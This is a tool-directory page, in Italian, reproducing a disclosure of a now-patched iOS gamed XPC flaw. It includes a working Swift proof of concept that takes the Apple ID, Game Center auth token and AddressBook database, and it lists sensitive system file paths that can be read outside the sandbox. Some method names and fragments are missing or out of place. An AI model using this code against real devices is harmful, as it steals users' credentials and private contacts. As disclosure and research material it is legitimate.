Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
ios-gamed-0day — Exploit di gioco iOS (corretto in 15.0.2) | Kitploit
Strumenti/GitHubGitHub/illusionofchaos/ios-gamed-0day
Escalation di PrivilegiSicurezza iOSAnalisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza Mobile
GitHubillusionofchaos/ios-gamed-0day

ios-gamed-0day

Exploit di gioco iOS (corretto in 15.0.2)

Vedi Repository
4368144 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Exploit di gamed su iOS (corretto in 15.0.2)

Aggiornamento: Apple ha corretto silenziosamente questo problema in iOS 15.0.2 senza alcun riconoscimento pubblico o credito.

Qualsiasi app installata dall'App Store può accedere ai seguenti dati senza alcun prompt all'utente:

  • Email dell'ID Apple e nome completo associato
  • Token di autenticazione dell'ID Apple che consente di accedere ad almeno uno degli endpoint su *.apple.com per conto dell'utente
  • Accesso completo in lettura al file system del database Core Duet (contiene un elenco di contatti da Mail, SMS, iMessage, app di messaggistica di terze parti e metadati su tutte le interazioni dell'utente con questi contatti (incluse timestamp e statistiche), e anche alcuni allegati (come URL e testi))
  • Accesso completo in lettura al file system del database Speed Dial e al database della Rubrica, incluse le foto dei contatti e altri metadati come date di creazione e modifica (ho appena controllato su iOS 15 e questo non è più accessibile, quindi deve essere stato corretto silenziosamente)

Ecco una breve prova di concetto.

root@kitploit:~
let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
	accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
		let appleID = response.credential.accountName
		let token = response.credential.authenticationToken
	}

	utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
		let addressBookData = data
	}
}

Come accade:

  • Il servizio XPC com.apple.gamed non controlla correttamente l'entitlement com.apple.developer.game-center
  • Anche se Game Center è disabilitato sul dispositivo, l'invocazione di getServicesForPID:localPlayer:reply: restituisce diversi oggetti proxy XPC (GKAccountService, GKFriendService, GKUtilityService, ecc.).
  • Se Game Center è abilitato sul dispositivo (anche se non è abilitato per l'app in App Store Connect e l'app non contiene l'entitlement com.apple.developer.game-center), l'invocazione di authenticatePlayerWithExistingCredentialsWithHandler: su GKAccountService restituisce un oggetto contenente l'ID Apple dell'utente, il DSID e il token di autenticazione di Game Center (che consente di inviare richieste a https://gc.apple.com per conto dell'utente). L'invocazione di getProfilesForPlayerIDs:handler: su GKProfileService restituisce un oggetto contenente nome e cognome dell'ID Apple dell'utente. L'invocazione di su restituisce un oggetto con informazioni sugli amici dell'utente in Game Center.

Sulla pagina del programma Apple Security Bounty questa vulnerabilità è valutata $100.000 (accesso ampio dell'app a dati sensibili normalmente protetti da un prompt TCC o dalla sandbox della piattaforma. L'accesso ai “dati sensibili” include ottenere un accesso ampio (cioè l'intero database) dai Contatti).

Scarica lo strumento
getFriendsForPlayer:handler:
GKFriendService
  • Anche se Game Center è disabilitato, non è abilitato per l'app in App Store Connect e l'app non contiene l'entitlement com.apple.developer.game-center, l'invocazione di requestImageDataForURL:subdirectory:fileName:handler: su GKUtilityService consente di leggere file arbitrari al di fuori della sandbox dell'app passando URL di file a quel metodo. Tra i file (ma non solo) a cui si può accedere in questo modo ci sono i seguenti: /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - contiene la cache MobileGestalt /var/mobile/Library/CoreDuet/People/interactionC.db - contiene un elenco di contatti da Mail, SMS, iMessage, app di messaggistica di terze parti e metadati sull'interazione dell'utente con questi contatti (incluse timestamp e statistiche) /var/mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - contiene i contatti preferiti e i loro numeri di telefono /var/mobile/Library/AddressBook/AddressBook.sqlitedb - contiene il database completo della Rubrica /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - contiene le foto dei contatti della Rubrica
  • L'invocazione di cacheImageData:inSubdirectory:withFileName:handler: su GKUtilityService potrebbe consentire di scrivere dati arbitrari in una posizione al di fuori della sandbox dell'app.